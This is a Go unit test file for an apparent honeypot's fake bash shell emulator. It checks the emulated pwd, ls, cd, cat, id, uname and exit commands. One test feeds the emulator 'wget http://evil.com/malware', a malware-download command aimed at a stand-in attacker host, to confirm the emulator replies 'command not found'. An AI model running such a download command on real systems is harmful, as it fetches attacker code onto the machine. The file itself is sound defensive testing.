This repository has been archived on 2026-03-09. You can view files and clone it. You cannot open issues or pull requests or push a commit.
Files
oubliette/internal/shell/bash/commands_test.go
Torjus Håkestad 8189a108d1 feat: add shell interface, registry, and bash shell emulator
Implement Phase 1.4: replaces the hardcoded banner/timeout stub with a
proper shell system. Adds a Shell interface with weighted registry for
shell selection, a RecordingChannel wrapper (pass-through for now, prep
for Phase 2.3 replay), and a bash-like shell with fake filesystem,
terminal line reader, and command handling (pwd, ls, cd, cat, whoami,
hostname, id, uname, exit). Sessions now log command/output pairs to
the store and record the shell name.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 20:24:48 +01:00

202 lines
4.8 KiB
Go

package bash
import (
"strings"
"testing"
)
func newTestState() *shellState {
fs := newFilesystem("testhost")
return &shellState{
cwd: "/root",
username: "root",
hostname: "testhost",
fs: fs,
}
}
func TestCmdPwd(t *testing.T) {
state := newTestState()
r := dispatch(state, "pwd")
if r.output != "/root" {
t.Errorf("pwd = %q, want %q", r.output, "/root")
}
}
func TestCmdWhoami(t *testing.T) {
state := newTestState()
r := dispatch(state, "whoami")
if r.output != "root" {
t.Errorf("whoami = %q, want %q", r.output, "root")
}
}
func TestCmdHostname(t *testing.T) {
state := newTestState()
r := dispatch(state, "hostname")
if r.output != "testhost" {
t.Errorf("hostname = %q, want %q", r.output, "testhost")
}
}
func TestCmdId(t *testing.T) {
state := newTestState()
r := dispatch(state, "id")
if !strings.Contains(r.output, "uid=0(root)") {
t.Errorf("id output = %q, want uid=0(root)", r.output)
}
}
func TestCmdUnameBasic(t *testing.T) {
state := newTestState()
r := dispatch(state, "uname")
if r.output != "Linux" {
t.Errorf("uname = %q, want %q", r.output, "Linux")
}
}
func TestCmdUnameAll(t *testing.T) {
state := newTestState()
r := dispatch(state, "uname -a")
if !strings.HasPrefix(r.output, "Linux testhost") {
t.Errorf("uname -a = %q, want prefix 'Linux testhost'", r.output)
}
}
func TestCmdLs(t *testing.T) {
state := newTestState()
r := dispatch(state, "ls")
if r.output == "" {
t.Error("ls should return non-empty output")
}
}
func TestCmdLsPath(t *testing.T) {
state := newTestState()
r := dispatch(state, "ls /etc")
if !strings.Contains(r.output, "passwd") {
t.Errorf("ls /etc = %q, should contain 'passwd'", r.output)
}
}
func TestCmdLsNonexistent(t *testing.T) {
state := newTestState()
r := dispatch(state, "ls /nope")
if !strings.Contains(r.output, "No such file") {
t.Errorf("ls /nope = %q, should contain 'No such file'", r.output)
}
}
func TestCmdCd(t *testing.T) {
state := newTestState()
r := dispatch(state, "cd /tmp")
if r.output != "" {
t.Errorf("cd /tmp should produce no output, got %q", r.output)
}
if state.cwd != "/tmp" {
t.Errorf("cwd = %q, want %q", state.cwd, "/tmp")
}
}
func TestCmdCdNonexistent(t *testing.T) {
state := newTestState()
r := dispatch(state, "cd /nope")
if !strings.Contains(r.output, "No such file") {
t.Errorf("cd /nope = %q, should contain 'No such file'", r.output)
}
}
func TestCmdCdNoArgs(t *testing.T) {
state := newTestState()
state.cwd = "/tmp"
dispatch(state, "cd")
if state.cwd != "/root" {
t.Errorf("cd with no args should go to /root, got %q", state.cwd)
}
}
func TestCmdCdRelative(t *testing.T) {
state := newTestState()
state.cwd = "/var"
dispatch(state, "cd log")
if state.cwd != "/var/log" {
t.Errorf("cwd = %q, want %q", state.cwd, "/var/log")
}
}
func TestCmdCdDotDot(t *testing.T) {
state := newTestState()
state.cwd = "/var/log"
dispatch(state, "cd ..")
if state.cwd != "/var" {
t.Errorf("cwd = %q, want %q", state.cwd, "/var")
}
}
func TestCmdCat(t *testing.T) {
state := newTestState()
r := dispatch(state, "cat /etc/hostname")
if !strings.Contains(r.output, "testhost") {
t.Errorf("cat /etc/hostname = %q, should contain 'testhost'", r.output)
}
}
func TestCmdCatNonexistent(t *testing.T) {
state := newTestState()
r := dispatch(state, "cat /nope")
if !strings.Contains(r.output, "No such file") {
t.Errorf("cat /nope = %q, should contain 'No such file'", r.output)
}
}
func TestCmdCatDirectory(t *testing.T) {
state := newTestState()
r := dispatch(state, "cat /etc")
if !strings.Contains(r.output, "Is a directory") {
t.Errorf("cat /etc = %q, should contain 'Is a directory'", r.output)
}
}
func TestCmdCatMultiple(t *testing.T) {
state := newTestState()
r := dispatch(state, "cat /etc/hostname /root/README.txt")
if !strings.Contains(r.output, "testhost") || !strings.Contains(r.output, "DO NOT MODIFY") {
t.Errorf("cat multiple files = %q, should contain both file contents", r.output)
}
}
func TestCmdExit(t *testing.T) {
state := newTestState()
r := dispatch(state, "exit")
if !r.exit {
t.Error("exit should set exit=true")
}
}
func TestCmdLogout(t *testing.T) {
state := newTestState()
r := dispatch(state, "logout")
if !r.exit {
t.Error("logout should set exit=true")
}
}
func TestCmdNotFound(t *testing.T) {
state := newTestState()
r := dispatch(state, "wget http://evil.com/malware")
if !strings.Contains(r.output, "command not found") {
t.Errorf("unknown cmd = %q, should contain 'command not found'", r.output)
}
if !strings.HasPrefix(r.output, "wget:") {
t.Errorf("unknown cmd = %q, should start with 'wget:'", r.output)
}
}
func TestCmdEmptyLine(t *testing.T) {
state := newTestState()
r := dispatch(state, "")
if r.output != "" || r.exit {
t.Errorf("empty line should produce no output and not exit")
}
}